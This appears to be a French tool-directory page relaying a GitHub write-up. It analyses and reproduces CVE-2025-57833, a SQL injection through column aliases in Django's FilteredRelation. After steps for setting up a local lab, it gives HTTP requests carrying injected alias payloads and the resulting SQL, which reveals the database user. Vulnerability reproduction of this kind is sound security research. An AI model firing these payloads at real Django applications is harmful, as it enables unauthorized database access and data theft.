Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-57833 — Analyse et reproduction de CVE-2025-57833 | Kitploit
Outils/GitHubGitHub/sw0rd1ight/cve-2025-57833
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebApprentissage et ÉducationSécurité des Bases de Données
GitHubsw0rd1ight/cve-2025-57833

CVE-2025-57833

Analyse et reproduction de CVE-2025-57833

Voir le dépôt
6il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Django FilteredRelation Alias : vulnérabilité d'injection SQL (CVE-2025-57833)

Django a révélé une vulnérabilité d'injection SQL après un an. À première vue, l'injection est causée par les alias (car les alias ne peuvent pas être précompilés).

Cette vulnérabilité affecte la fonctionnalité FilteredRelation du framework Django. Lorsque les méthodes QuerySet.annotate() ou QuerySet.alias() sont utilisées et qu'un alias de colonne est fourni via l'expansion de dictionnaire Python (**kwargs), il existe un risque d'injection SQL. Cela est dû à une validation insuffisante des clés du dictionnaire (c'est-à-dire les alias de colonnes), ce qui permet à un attaquant de construire un dictionnaire malveillant pour injecter des instructions SQL non restreintes.

Les versions concernées par cette vulnérabilité sont :

  • Versions de Django 4.2 antérieures à 4.2.24
  • Versions de Django 5.1 antérieures à 5.1.12
  • Versions de Django 5.2 antérieures à 5.2.6

Démarrage de l'environnement

Le projet lié à cette vulnérabilité est construit à l'aide du devcontainer de VSCode.

1️⃣ Ouvrir le projet

Ouvrir le répertoire racine du projet existant (contenant le dossier .devcontainer) avec VS Code.

2️⃣ Rouvrir le conteneur (construire le Dev Container)

Appuyer sur Ctrl+Shift+P (Windows/Linux) ou Cmd+Shift+P (Mac)

Saisir Remote-Containers: Reopen in Container

VS Code lit la configuration .devcontainer et construit le conteneur (la première construction peut prendre quelques minutes).

⚠️ Si le Dockerfile ou les dépendances ont été mis à jour, vous pouvez sélectionner Remote-Containers: Rebuild Container pour garantir l'utilisation de l'environnement le plus récent.

3️⃣ Exécuter le serveur de développement Django

Ouvrir la palette de commandes : Ctrl+Shift+P

Saisir Tasks: Run Task

Sélectionner django:start (la tâche est déjà configurée dans .vscode/tasks.json)

Cette tâche démarre le serveur de développement Django dans le conteneur.

Il écoute par défaut sur 0.0.0.0:8085.

4️⃣ Ouvrir le navigateur pour accéder au projet

Ouvrir le navigateur et accéder à :

http://localhost:8085

5️⃣ Remarques

Première exécution :

Une migration de la base de données peut être nécessaire :

root@kitploit:~
python manage.py migrate

Après le démarrage du serveur, accéder à http://localhost:8085

Reproduction de la vulnérabilité

Accéder normalement à l'endpoint /book/search

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":"XXX","author":"Bob"}

Le SQL compilé en interne par l'ORM de Django est alors :

root@kitploit:~
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0

On peut voir qu'un alias XXX est créé pour la table vuln_author. D'après l'analyse du correctif ci-dessus, XXX n'est pas filtré actuellement, ce qui permet d'y injecter du code.

L'utilisation directe d'une injection par requêtes empilées ne fonctionne pas : comme la première instruction SQL est invalide, la seconde n'est pas exécutée.

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":"XXX;select user --","author":"Bob"}

Il faut donc d'abord rendre la première instruction valide. Ici, comme il s'agit d'une relation de jointure, on utilise directement la syntaxe USING.

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":" using(id);select user --","author":"Bob"}

L'injection a ainsi réussi : l'utilisateur d'exécution de la base de données trouvé est postgres. L'instruction SQL compilée avec succès en interne est alors :

root@kitploit:~
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author"  using(id);select user -- ON ("vuln_book"."author_id" =  using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE  using(id);select user --."id" > 0

Références

  • https://xz.aliyun.com/news/19236
  • https://mp.weixin.qq.com/s/e2FgAk2odugNH9K8_kDsAg
  • https://nvd.nist.gov/vuln/detail/CVE-2025-57833
  • https://docs.djangoproject.com/en/dev/releases/security
  • https://groups.google.com/g/django-announce
Télécharger l’outil